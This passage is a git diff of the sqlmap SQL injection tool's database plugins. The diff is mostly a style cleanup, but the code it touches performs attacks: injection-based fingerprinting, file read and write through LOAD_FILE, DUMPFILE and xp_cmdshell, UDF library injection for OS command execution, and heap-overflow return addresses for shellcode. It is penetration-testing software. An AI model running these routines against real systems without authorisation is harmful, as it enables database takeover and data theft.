+ kb.dbmsVersion = ["2005"]
break
elif version == 0:
- kb.dbmsVersion = [ "2000" ]
+ kb.dbmsVersion = ["2000"]
break
@@ -220,8 +214,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
payload = agent.fullPayload(query)
result = Request.queryPage(payload)
- if result == True:
- kb.dbmsVersion = [ "7.0" ]
+ if result:
+ kb.dbmsVersion = ["7.0"]
break
@@ -241,7 +235,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return False
-
def checkDbmsOs(self, detailed=False):
if kb.os and kb.osVersion and kb.osSP:
return
@@ -249,7 +242,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if not kb.os:
kb.os = "Windows"
- if detailed == False:
+ if not detailed:
return
infoMsg = "fingerprinting the back-end DBMS operating system "
@@ -261,14 +254,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
- versions = {
- "2003": ( "5.2", ( 2, 1 ) ),
- #"2003": ( "6.0", ( 2, 1 ) ),
- "2008": ( "7.0", ( 1, ) ),
- "2000": ( "5.0", ( 4, 3, 2, 1 ) ),
- "XP": ( "5.1", ( 2, 1 ) ),
- "NT": ( "4.0", ( 6, 5, 4, 3, 2, 1 ) )
- }
+ versions = {"2003": ("5.2", (2, 1)),
+ #"2003": ("6.0", (2,1)),
+ "2008": ("7.0", (1,)),
+ "2000": ("5.0", (4, 3, 2, 1)),
+ "XP": ("5.1", (2, 1)),
+ "NT": ("4.0", (6, 5, 4, 3, 2, 1))}
# Get back-end DBMS underlying operating system version
for version, data in versions.items():
@@ -320,7 +311,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
self.cleanup(onlyFileTbl=True)
-
def getPrivileges(self):
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
warnMsg += "database users privileges"
@@ -328,7 +318,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return {}
-
def getTables(self):
infoMsg = "fetching tables"
if conf.db:
@@ -399,16 +388,14 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
- raise sqlmapNoneDataException, errMsg
+ raise sqlmapNoneDataException(errMsg)
return kb.data.cachedTables
-
def unionReadFile(self, rFile):
errMsg = "Microsoft SQL Server does not support file reading "
errMsg += "with UNION query SQL injection technique"
- raise sqlmapUnsupportedFeatureException, errMsg
-
+ raise sqlmapUnsupportedFeatureException(errMsg)
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
@@ -479,7 +466,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
- raise sqlmapNoneDataException, errMsg
+ raise sqlmapNoneDataException(errMsg)
indexRange = getRange(count)
@@ -491,12 +478,10 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return result
-
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "Microsoft SQL Server does not support file upload with "
errMsg += "UNION query SQL injection technique"
- raise sqlmapUnsupportedFeatureException, errMsg
-
+ raise sqlmapUnsupportedFeatureException(errMsg)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
# NOTE: this is needed here because we use xp_cmdshell extended
@@ -525,11 +510,9 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
logger.debug("moving binary file %s to %s" % (sFile, dFile))
- commands = (
- "cd %s" % tmpPath,
- "ren %s %s" % (chunkName, dFileName),
- "move /Y %s %s" % (dFileName, dFile)
- )
+ commands = ("cd %s" % tmpPath,
+ "ren %s %s" % (chunkName, dFileName),
+ "move /Y %s %s" % (dFileName, dFile))
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
@@ -545,7 +528,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
counter = 1
for i in range(0, wFileSize, debugSize):
- wFileChunk = wFileContent[i:i+debugSize]
+ wFileChunk = wFileContent[i:i + debugSize]
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
if i == 0:
@@ -558,11 +541,9 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
logger.debug(infoMsg)
- commands = (
- "cd %s" % tmpPath,
+ commands = ("cd %s" % tmpPath,
copyCmd,
- "del /F %s" % chunkName
- )
+ "del /F %s" % chunkName)
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
@@ -576,24 +557,20 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
logger.debug("moving binary file %s to %s" % (sFile, dFile))
- commands = (
- "cd %s" % tmpPath,
- "move /Y %s %s" % (dFileName, dFile)
- )
+ commands = ("cd %s" % tmpPath,
+ "move /Y %s %s" % (dFileName, dFile))
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd)
- if confirm == True:
+ if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
-
def uncPathRequest(self):
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
-
def spHeapOverflow(self):
"""
References:
@@ -603,19 +580,19 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
returns = {
# 2003 Service Pack 0
- "2003-0": ( "" ),
+ "2003-0": (""),
# 2003 Service Pack 1
- "2003-1": ( "CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
+ "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 12/2008
- #"2003-2": ( "CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
+ #"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 05/2009
- "2003-2": ( "CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)" )
+ "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)")
# 2003 Service Pack 2 updated at 09/2009
- #"2003-2": ( "CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)" ),
+ #"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
}
addrs = None
@@ -633,7 +610,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
errMsg += "overflow because it does not have a valid return "
errMsg += "code for the underlying operating system (Windows "
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
- raise sqlmapUnsupportedFeatureException, errMsg
+ raise sqlmapUnsupportedFeatureException(errMsg)
shellcodeChar = ""
hexStr = binascii.hexlify(self.shellcodeString[:-1])
diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py
index 0942b55d9..aa24fc57f 100644
--- a/plugins/dbms/mysql.py
+++ b/plugins/dbms/mysql.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import os
import re
@@ -54,7 +52,6 @@ from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
-
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines MySQL methods
@@ -77,7 +74,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
unescaper.setUnescape(MySQLMap.unescape)
-
@staticmethod
def unescape(expression, quote=True):
if quote:
@@ -111,7 +107,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return expression
-
@staticmethod
def escape(expression):
while True:
@@ -135,8 +130,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
expression = expression.replace(old, escaped)
return expression
-
-
+
def __commentCheck(self):
infoMsg = "executing MySQL comment injection fingerprint"
logger.info(infoMsg)
@@ -146,20 +140,20 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
- if result != True:
+ if not result:
warnMsg = "unable to perform MySQL comment injection"
logger.warn(warnMsg)
return None
- # MySQL valid versions updated on 05/2009
+ # MySQL valid versions updated on 12/2009
versions = (
(32200, 32233), # MySQL 3.22
(32300, 32359), # MySQL 3.23
(40000, 40031), # MySQL 4.0
(40100, 40122), # MySQL 4.1
- (50000, 50077), # MySQL 5.0
- (50100, 50134), # MySQL 5.1
+ (50000, 50089), # MySQL 5.0
+ (50100, 50141), # MySQL 5.1
(50400, 50401), # MySQL 5.4
(60000, 60010), # MySQL 6.0
)
@@ -175,7 +169,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
- if result == True:
+ if result:
if not prevVer:
prevVer = version
@@ -192,7 +186,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return None
-
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
@@ -237,7 +230,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return value
-
def checkDbms(self):
"""
References for fingerprint:
@@ -266,14 +258,14 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
result = Request.queryPage(payload)
- if result == True:
+ if result:
infoMsg = "confirming MySQL"
logger.info(infoMsg)
payload = agent.fullPayload(" AND ISNULL(1/0)")
result = Request.queryPage(payload)
- if result != True:
+ if not result:
warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg)
@@ -352,8 +344,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
logger.warn(warnMsg)
return False
-
-
+
def checkDbmsOs(self, detailed=False):
if kb.os:
return
@@ -361,7 +352,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
- self.createSupportTbl(self.fileTblName, self.tblField, "text")
+ self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
@@ -375,8 +366,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
-
-
+
def unionReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
@@ -384,13 +374,12 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
return result
-
-
+
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
- self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
+ self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
self.getRemoteTempPath()
tmpFile = "%s/sqlmapfilehex%s" % (conf.tmpPath, randomStr(lowercase=True))
@@ -426,8 +415,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
return result
-
-
+
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
logger.debug("encoding file to its hexadecimal string value")
@@ -455,18 +443,17 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
conf.paramFalseCond = oldParamFalseCond
- if confirm == True:
+ if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
-
-
+
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
debugMsg = "creating a support table to write the hexadecimal "
debugMsg += "encoded file to"
- logger.debug(debugMsg)
+ logger.debug(debugMsg)
- self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
+ self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
- logger.debug("encoding file to its hexadecimal string value")
+ logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(wFile, "hex", False)
debugMsg = "forging SQL statements to write the hexadecimal "
@@ -476,7 +463,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the hexadecimal encoded file to the support table")
-
+
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
@@ -486,51 +473,50 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
- if confirm == True:
+ if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
-
-
+
def udfSetRemotePath(self):
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
- # On Windows
+ # On Windows
if kb.os == "Windows":
- # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
+ # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
if banVer >= "5.1.19":
if self.__basedir is None:
- logger.info("retrieving MySQL base directory absolute path")
+ logger.info("retrieving MySQL base directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
self.__basedir = inject.getValue("SELECT @@basedir")
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
- kb.os = "Windows"
+ kb.os = "Windows"
- # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
+ # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
- logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
+ logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
- # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
+ # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else:
- #logger.debug("retrieving MySQL data directory absolute path")
+ #logger.debug("retrieving MySQL data directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
#self.__datadir = inject.getValue("SELECT @@datadir")
# NOTE: specifying the relative path as './udf.dll'
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
- self.__datadir = "."
+ self.__datadir = "."
self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/"))
if re.search("[\w]\:\/", self.__datadir, re.I):
- kb.os = "Windows"
+ kb.os = "Windows"
- # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
+ # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
@@ -539,25 +525,22 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
# The SO can be in either /lib, /usr/lib or one of the
# paths specified in /etc/ld.so.conf file, none of these
# paths are writable by mysql user by default
- # TODO: test with plugins folder on MySQL >= 5.1.19
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
-
-
+
def udfCreateFromSharedLib(self, udf, inpRet):
- if udf in self.udfToCreate:
+ if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
ret = inpRet["return"]
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
inject.goStacked("DROP FUNCTION %s" % udf)
- inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
+ inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
-
-
+
def udfInjectCmd(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
@@ -571,10 +554,9 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
self.udfInjectCore(self.sysUdfs)
self.envInitialized = True
-
-
+
def uncPathRequest(self):
- if kb.stackedTest == False:
+ if not kb.stackedTest:
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
diff --git a/plugins/dbms/oracle.py b/plugins/dbms/oracle.py
index 14a7c2e56..7190ad512 100644
--- a/plugins/dbms/oracle.py
+++ b/plugins/dbms/oracle.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import re
from lib.core.agent import agent
@@ -48,13 +46,11 @@ from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
-
class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Oracle methods
"""
-
def __init__(self):
self.excludeDbsList = ORACLE_SYSTEM_DBS
@@ -64,7 +60,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
unescaper.setUnescape(OracleMap.unescape)
-
@staticmethod
def unescape(expression, quote=True):
if quote:
@@ -96,7 +91,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return expression
-
@staticmethod
def escape(expression):
while True:
@@ -121,7 +115,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return expression
-
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
@@ -157,7 +150,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return value
-
def checkDbms(self):
if conf.dbms in ORACLE_ALIASES:
setDbms("Oracle")
@@ -173,14 +165,14 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
result = Request.queryPage(payload)
- if result == True:
+ if result:
logMsg = "confirming Oracle"
logger.info(logMsg)
payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
result = Request.queryPage(payload)
- if result != True:
+ if not result:
warnMsg = "the back-end DMBS is not Oracle"
logger.warn(warnMsg)
@@ -212,7 +204,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return False
-
def forceDbmsEnum(self):
if conf.db:
conf.db = conf.db.upper()
@@ -228,44 +219,37 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
if conf.tbl:
conf.tbl = conf.tbl.upper()
-
def getDbs(self):
warnMsg = "on Oracle it is not possible to enumerate databases"
logger.warn(warnMsg)
return []
-
def readFile(self, rFile):
errMsg = "File system read access not yet implemented for "
errMsg += "Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
-
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
errMsg = "File system write access not yet implemented for "
errMsg += "Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
-
def osCmd(self):
errMsg = "Operating system command execution functionality not "
errMsg += "yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
-
def osShell(self):
errMsg = "Operating system shell functionality not yet "
errMsg += "implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
-
def osPwn(self):
errMsg = "Operating system out-of-band control functionality "
errMsg += "not yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
-
def osSmb(self):
errMsg = "One click operating system out-of-band control "
errMsg += "functionality not yet implemented for Oracle"
diff --git a/plugins/dbms/postgresql.py b/plugins/dbms/postgresql.py
index ee86ae0b3..977aa088e 100644
--- a/plugins/dbms/postgresql.py
+++ b/plugins/dbms/postgresql.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import os
import re
@@ -84,7 +82,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
unescaper.setUnescape(PostgreSQLMap.unescape)
-
@staticmethod
def unescape(expression, quote=True):
if quote:
@@ -116,7 +113,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return expression
-
@staticmethod
def escape(expression):
while True:
@@ -141,7 +137,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return expression
-
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
@@ -177,7 +172,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return value
-
def checkDbms(self):
"""
Reference for fingerprint: http://www.postgresql.org/docs/8.3/interactive/release-8-3.html
@@ -199,14 +193,14 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
result = Request.queryPage(payload)
- if result == True:
+ if result:
infoMsg = "confirming PostgreSQL"
logger.info(infoMsg)
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
result = Request.queryPage(payload)
- if result != True:
+ if not result:
warnMsg = "the back-end DMBS is not PostgreSQL"
logger.warn(warnMsg)
@@ -258,7 +252,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return False
-
def checkDbmsOs(self, detailed=False):
if kb.os:
return
@@ -266,7 +259,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
- self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
+ self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
# Windows executables should always have ' Visual C++' or ' mingw'
@@ -283,7 +276,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
break
- if kb.os == None:
+ if kb.os is None:
kb.os = "Linux"
infoMsg = "the back-end DBMS operating system is %s" % kb.os
@@ -291,7 +284,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
self.cleanup(onlyFileTbl=True)
-
def forceDbmsEnum(self):
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
conf.db = "public"
@@ -302,13 +294,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
warnMsg += "database name"
logger.warn(warnMsg)
-
def unionReadFile(self, rFile):
errMsg = "PostgreSQL does not support file reading with UNION "
errMsg += "query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
-
def stackedReadFile(self, rFile):
warnMsg = "binary file read on PostgreSQL is not yet supported, "
warnMsg += "if the requested file is binary, its content will not "
@@ -320,10 +310,10 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
result = []
